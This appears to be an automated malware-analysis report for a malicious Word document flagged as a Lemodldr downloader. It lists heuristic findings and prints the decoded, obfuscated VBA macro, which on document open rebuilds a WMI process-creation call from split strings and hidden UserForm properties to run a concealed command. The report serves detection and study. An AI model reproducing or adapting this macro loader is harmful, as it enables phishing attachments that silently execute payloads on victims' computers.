MALICIOUS
230
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' specifically points to a technique used for executing payloads. The ClamAV detection 'Doc.Malware.Lemodldr-9206077-0' further confirms its malicious nature, suggesting it acts as a downloader for further stages.
Heuristics 7
-
ClamAV: Doc.Malware.Lemodldr-9206077-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Lemodldr-9206077-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.Matched line in script
GQDCLeyuvjtyzp = Split _ -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set QCYOQgguqlijgt = CreateObject(VSESAwodkzfyfnrpfd) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Document_open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5354 bytes |
SHA-256: 4911b0425d653039f3331cb88aff1080a37f4a8f402f2668b9e16543be84c5f6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "DJBOOwmrpfzz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
TYRFAspxtzygcxfe.UFLEMkmaorjbxbpai
End Sub
Attribute VB_Name = "TYRFAspxtzygcxfe"
Attribute VB_Base = "0{D9DDDAFD-8368-4271-A895-B4D6DF51E816}{11711CCD-8EC2-43AA-BD46-0A44A984B8F6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function UFLEMkmaorjbxbpai()
KVn3Y4Áw0ÔA = 4
Do While KVn3Y4Áw0ÔA < 4 + 8
KVn3Y4Áw0ÔA = KVn3Y4Áw0ÔA + 8: DoEvents
Loop
Dim f8ÖXW2ÄqDXRG As String
f8ÖXW2ÄqDXRG = Replace$("QnUsbBw4ÄKnTibrA", "QnUsbBw4ÄKn", "for")
Dim GD5ÕFBF6ÒuvD As Integer
GD5ÕFBF6ÒuvD = 9
Do While GD5ÕFBF6ÒuvD < 9 + 4
GD5ÕFBF6ÒuvD = GD5ÕFBF6ÒuvD + 9: DoEvents
Loop
CIOIAgexbgpaegafb = Chr(TYRFAspxtzygcxfe.Zoom + ((50 + 50 + 20) / 8))
Dim hdgKyIb4ÛjC As Integer
hdgKyIb4ÛjC = 5
Do While hdgKyIb4ÛjC < 5 + 5
hdgKyIb4ÛjC = hdgKyIb4ÛjC + 7: DoEvents
Loop
ZXSZLbzoolhag = "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23di838h2782ghhHU*(Y*hioHY*hssn2n23dnm838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dgm838h2782ghhHU*(Y*hioHY*hssn2n23dt838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d" + CIOIAgexbgpaegafb + "838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d:838h2782ghhHU*(Y*hioHY*hssn2n23dw838h2782ghhHU*(Y*hioHY*hssn2n23din838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23d3838h2782ghhHU*(Y*hioHY*hssn2n23d2838h2782ghhHU*(Y*hioHY*hssn2n23d_838h2782ghhHU*(Y*hioHY*hssn2n23d" + TYRFAspxtzygcxfe.PFEGVzxpsjmdiqatprs + "838h2782ghhHU*(Y*hioHY*hssn2n23dro838h2782ghhHU*(Y*hioHY*hssn2n23d838h2782ghhHU*(Y*hioHY*hssn2n23dce838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23ds838h2782ghhHU*(Y*hioHY*hssn2n23d"
Dim FsVG As String
FsVG = Replace$("HfOnkMLa2ÄVOemSbJg", "HfOnkML", "jvSb5ÁQHX")
VSESAwodkzfyfnrpfd = GHKSOirmqxqlwkdooql(ZXSZLbzoolhag)
Dim J6áq4ÕR0Â As String
J6áq4ÕR0Â = Replace$("AyA7ÌWYeuUqBUfFDdc", "AyA7ÌWYeu", "ZvXdXZCY")
Set QCYOQgguqlijgt = CreateObject(VSESAwodkzfyfnrpfd)
Dim Es7Ëtfr As Integer
Es7Ëtfr = 8
Do While Es7Ëtfr < 8 + 3
Es7Ëtfr = Es7Ëtfr + 9: DoEvents
Loop
AINABnecoyihepj = TYRFAspxtzygcxfe.OKFWCscyemxyrd.ControlTipText
wcNZtnpFpA = 8
Do While wcNZtnpFpA < 8 + 2
wcNZtnpFpA = wcNZtnpFpA + 3: DoEvents
Loop
ZWUNAxapscztwhrnn = UOJSI + (VSESAwodkzfyfnrpfd + CIOIAgexbgpaegafb) + (TYRFAspxtzygcxfe.HKDOUppnturyejynra.ControlTipText + AINABnecoyihepj)
Dim n6Àq As String
n6Àq = Replace$("CO6ÃiqdotmZmIRVG", "CO6Ãiq", "vQLr1È1ÉlU")
ZALSZibgenoclsjhyz = ZWUNAxapscztwhrnn + TYRFAspxtzygcxfe.PFEGVzxpsjmdiqatprs
Dim S3Â6Å2Ù0álsZh As Integer
S3Â6Å2Ù0álsZh = 8
Do While S3Â6Å2Ù0álsZh < 8 + 3
S3Â6Å2Ù0álsZh = S3Â6Å2Ù0álsZh + 2: DoEvents
Loop
Set TMQTEezslznatguehtf = RYULGjntuainshpzc(ZALSZibgenoclsjhyz)
Dim DYilPBNgb As Integer
DYilPBNgb = 1
Do While DYilPBNgb < 1 + 3
DYilPBNgb = DYilPBNgb + 2: DoEvents
Loop
vfde = Array("qnoih hiqwio hiossisi", QCYOQgguqlijgt. _
Create(YJNZOaajsrtjdkensuc, OLISDrvmbpmrkywy, TMQTEezslznatguehtf), "ihqwi hqiodhos aihidoqi ")
Dim XK6ÎihXYdel As String
XK6ÎihXYdel = Replace$("wavIaG7ÈJkjfEdjegJfp", "wavIaG7ÈJkj", "FnaL0ÍW0Óf")
End Function
Function RYULGjntuainshpzc(TRBNWjhiorjbbj)
Set RYULGjntuainshpzc = CreateObject(TRBNWjhiorjbbj)
Dim rFn As Integer
rFn = 1
Do While rFn < 1 + 7
rFn = rFn + 1: DoEvents
Loop
RYULGjntuainshpzc.showwindow = (ARZJVhbgqjujx + WFUUZmduhswdfrehw)
Dim qIft6Ãs5ÅR As String
qIft6Ãs5ÅR = Replace$("G1ÕvQLrK5Æ5ÔUtrS", "G1ÕvQL", "Dh3É")
End Function
Function GHKSOirmqxqlwkdooql(FETOIhzcugwobx)
OMFCRdnzuojdv = FETOIhzcugwobx
Dim UlsZhPn As String
UlsZhPn = Replace$("pDYilPBNgBIav5ÐX2Çt", "pDYilPBNg", "DGwj")
GQDCLeyuvjtyzp = Split _
(OMFCRdnzuojdv, "838h2782ghhHU*(Y*hioHY*hssn2n23d")
Dim CywavIaGsU As String
CywavIaGsU = Replace$("kjZmRvGn", "kjZm", "uhJ")
UZFYEuyqnijnbtmciwa = fder + Join(GQDCLeyuvjtyzp, bzder)
Dim Fu8F As String
Fu8F = Replace$("UejcP7ØHGyym1ÆahNWE", "UejcP7ØHGyy", "LwLtp")
GHKSOirmqxqlwkdooql = UZFYEuyqnijnbtmciwa
Dim DSLov As Integer
DSLov = 1
Do While DSLov < 1 + 3
DSLov = DSLov + 7: DoEvents
Loop
End Function
Function YJNZOaajsrtjdkensuc()
ewr463te = TYRFAspxtzygcxfe.KCJCCjholccshzynspe.Pages(11 / 11).ControlTipText
Dim UjqH26Âk As Integer
UjqH26Âk = 1
Do While UjqH26Âk < 1 + 9
UjqH26Âk = UjqH26Âk + 6: DoEvents
Loop
YJNZOaajsrtjdkensuc = GHKSOirmqxqlwkdooql(ewr463te)
Dim Hyu6ÇyI As Integer
Hyu6ÇyI = 8
Do While Hyu6ÇyI < 8 + 3
Hyu6ÇyI = Hyu6ÇyI + 9: DoEvents
Loop
End Function
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{594B91B9-CF88-44B5-9899-5F39515ABCBF}{EAA5B924-78EF-407A-873C-3EFF24064B55}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.